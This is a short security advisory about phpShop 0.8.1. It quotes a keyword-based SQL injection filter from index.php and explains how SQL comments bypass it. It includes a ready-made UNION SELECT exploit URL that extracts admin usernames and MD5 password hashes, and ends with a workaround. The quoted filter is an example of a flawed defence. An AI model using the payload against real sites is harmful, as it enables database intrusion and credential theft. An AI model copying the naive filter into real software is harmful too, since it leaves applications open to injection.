|
|
|
|
| |
| phpShop is "a PHP-powered shopping cart application". A vulnerability in the way phpShop attempts to prevent SQL injections can be bypassed allowing remote attackers to cause the product to execute arbitrary SQL statements. |
| |
Credit:
The information has been provided by theredc0ders.
|
| |
Vulnerable Systems:
* phpShop version 0.8.1
Vulnerable code:
In index.php near lines 98 - 128
// basic SQL inject detection
$my_insecure_array = array('keyword' => $_REQUEST['keyword'],
'category_id' => $_REQUEST['category_id'],
'product_id' => $_REQUEST['product_id'],
'user_id' => $_REQUEST['user_id'],
'user_info_id' => $_REQUEST['user_info_id'],
'page' => $_REQUEST['page'],
'func' => $_REQUEST['func']);
while(list($key,$value)=each($my_insecure_array)) {
if (stristr($value,'FROM ') ||
stristr($value,'UPDATE ') ||
stristr($value,'WHERE ') ||
stristr($value,'ALTER ') ||
stristr($value,'SELECT ') ||
stristr($value,'SHUTDOWN ') ||
stristr($value,'CREATE ') ||
stristr($value,'DROP ') ||
stristr($value,'DELETE FROM') ||
stristr($value,'script') ||
stristr($value,'<>') ||
stristr($value,'=') ||
stristr($value,'SET '))
die('Please provide a permitted value for '.$key);
}
The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc, therefore WORD+space, and this can be easily bypassed using comments like: select/**/input1,input2...
Exploit:
Example to inject admin username and md5 hash password: http://website/phpshop/?page=shop/flypage&product_id=-3' UNION select/**/null,null,null,null, null,password,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, username/**/from/**/auth_user_md5/*
Workaround:
Simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini
|
|
|
|
|
|
|